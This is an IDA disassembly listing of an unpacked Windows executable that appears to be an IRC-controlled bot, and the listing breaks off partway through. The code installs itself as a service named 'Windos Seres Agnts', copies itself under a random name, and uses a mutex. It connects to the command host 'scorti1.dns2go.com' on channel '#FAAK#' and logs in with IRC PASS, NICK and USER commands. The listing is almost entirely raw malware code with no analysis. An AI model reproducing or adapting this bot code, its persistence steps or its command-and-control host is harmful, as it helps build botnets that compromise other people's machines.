;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	435C9D8B84269C79EE40993180EE7892

; File Name   :	u:\work\435c9d8b84269c79ee40993180ee7892_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DE000 ( 909312.)
; Section size in file		: 000DE000 ( 909312.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_4188A6+1Ep
					; DATA XREF: ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindosSeresAgn ; "Windos Seres Agnts"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CB988
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB9F8
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB938


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CB9B0
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427220[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:004169EAp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41BEB5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41BEA2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41BBE2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41BAFA
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41BA91
		push	edi
		call	sub_41BA3B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43E91C
		call	dword_4CBA6C
		call	sub_40B583
		call	dword_4CB92C
		call	dword_4CB92C
		mov	ebx, dword_427080
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43DB88
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 26709F6h
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	near ptr 2670000h
		nop
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	near ptr 2660B67h
		nop
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427070
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43DB80
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418BD1
		pop	ecx
		mov	dword_4CB710, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270B0
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CB714, eax
		call	esi
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_409909
		push	2
		call	dword_4CBA80
		push	7530h
		push	offset aSbrsfgf	; "sbrsfgf"
		push	ebx
		push	ebx
		nop
		call	near ptr 2690262h
		push	eax
		nop
		call	near ptr 26901A5h
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		call	near ptr 77E75CB5h
		nop


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CB944
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 26709F6h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		call	near ptr 2690000h
		nop
		push	eax
		nop
		call	near ptr 2670000h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41C3B1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_429AC8
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41C360
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41C2E0
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41B9C0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41C2C2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41B9C0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_429AC0
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2680E33h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 2680D6Ah


loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427098
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		nop
		call	near ptr 2680972h
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 2670E97h
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_4187E0
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		call	near ptr 2680D6Ah
		nop
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset byte_43DB88
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 2680918h
		push	eax
		push	esi
		push	100000h


loc_401495:				; DATA XREF: ___:off_433094o
		nop
		call	near ptr 26802EFh
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_429AB4
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2660B67h
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		call	near ptr 2670E97h
		nop
		push	dword ptr [ebp-20h]
		mov	esi, dword_427070
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CB92C
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DBDF8, 2
		jle	short loc_401562
		mov	eax, dword_4DBDFC
		push	dword ptr [eax+4]
		call	sub_41C159
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 26901A5h
		push	esi
		nop
		call	near ptr 26608D5h
		mov	eax, dword_4DBDFC
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		nop
		call	near ptr 2670E97h
		mov	eax, dword_4DBDFC
		push	dword ptr [eax+8]
		nop
		call	near ptr 26801F9h


loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CBAA4, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429A98
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B3BA
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		push	0B80h
		push	ebx
		push	offset dword_43DB90
		call	sub_41BF70
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429A74
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_427084
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset byte_419F4D
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 2680972h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429A34
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		push	2
		call	sub_40B602
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429A08
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_410BFD
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	short loc_40169A
		nop
		call	near ptr 2680972h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4299D4
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		pop	ecx


loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41C2C2
		push	7Fh
		and	eax, 3
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CB71C
		mov	dword_4CB888, eax
		call	sub_41BFD0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CB79C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		mov	esi, offset dword_4CB7DC
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	dword_4CB870, ebx


loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx


loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CB718
		mov	dword_4CB884, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CB884, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]


loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		call	near ptr 2670E97h
		nop
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CB71C
		call	sub_41BFD0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CB71C
		call	sub_41BFD0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B583


loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CB92C


loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+654Co

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CB9D4
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40A8F0
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BF70
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40AE84
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43E928
		push	edi
		push	eax
		call	sub_41BFD0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CBA54
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43E91C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CBA6C
		call	sub_40A919
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 2670E97h
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_429AD0
		call	sub_415DAC
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CBA6C
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41C500
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CB880, bl
		jz	short loc_40199A
		push	offset byte_4CB880
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409823
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CBA6C
		push	1388h
		nop
		call	near ptr 2670E97h


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_4184CC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 2670E97h
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_568C	= byte ptr -568Ch
var_528C	= byte ptr -528Ch
var_50FC	= byte ptr -50FCh
var_4FF8	= byte ptr -4FF8h
var_4EF8	= byte ptr -4EF8h
var_4CF8	= byte ptr -4CF8h
var_4BF8	= byte ptr -4BF8h
var_4AF4	= byte ptr -4AF4h
var_49F4	= byte ptr -49F4h
var_48F0	= byte ptr -48F0h
var_47F0	= byte ptr -47F0h
var_46F0	= byte ptr -46F0h
var_45F0	= byte ptr -45F0h
var_458C	= byte ptr -458Ch
var_448C	= byte ptr -448Ch
var_438C	= byte ptr -438Ch
var_428C	= byte ptr -428Ch
var_408C	= byte ptr -408Ch
var_3F8C	= dword	ptr -3F8Ch
var_3F88	= byte ptr -3F88h
var_3F08	= byte ptr -3F08h
var_3E04	= byte ptr -3E04h
var_3D00	= dword	ptr -3D00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= byte ptr -3CE8h
var_3C68	= byte ptr -3C68h
var_3BE8	= byte ptr -3BE8h
var_3B68	= byte ptr -3B68h
var_3AE8	= byte ptr -3AE8h
var_3A68	= dword	ptr -3A68h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= byte ptr -3A58h
var_37D1	= byte ptr -37D1h
var_37D0	= byte ptr -37D0h
var_36CC	= dword	ptr -36CCh
var_36C4	= dword	ptr -36C4h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B0	= dword	ptr -36B0h
var_36AC	= dword	ptr -36ACh
var_36A8	= byte ptr -36A8h
var_3628	= byte ptr -3628h
var_35A8	= byte ptr -35A8h
var_3528	= byte ptr -3528h
var_34A8	= dword	ptr -34A8h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= byte ptr -3494h
var_3414	= byte ptr -3414h
var_3394	= byte ptr -3394h
var_3314	= byte ptr -3314h
var_3294	= dword	ptr -3294h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= byte ptr -3280h
var_3200	= byte ptr -3200h
var_3180	= byte ptr -3180h
var_3100	= byte ptr -3100h
var_3080	= dword	ptr -3080h
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= byte ptr -306Ch
var_2FEC	= byte ptr -2FECh
var_2F6C	= byte ptr -2F6Ch
var_2EEC	= byte ptr -2EECh
var_2E6C	= dword	ptr -2E6Ch
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= byte ptr -2E5Ch
var_2D58	= dword	ptr -2D58h
var_2D54	= byte ptr -2D54h
var_2C50	= byte ptr -2C50h
var_2B4C	= dword	ptr -2B4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= byte ptr -2B40h
var_2AC0	= dword	ptr -2AC0h
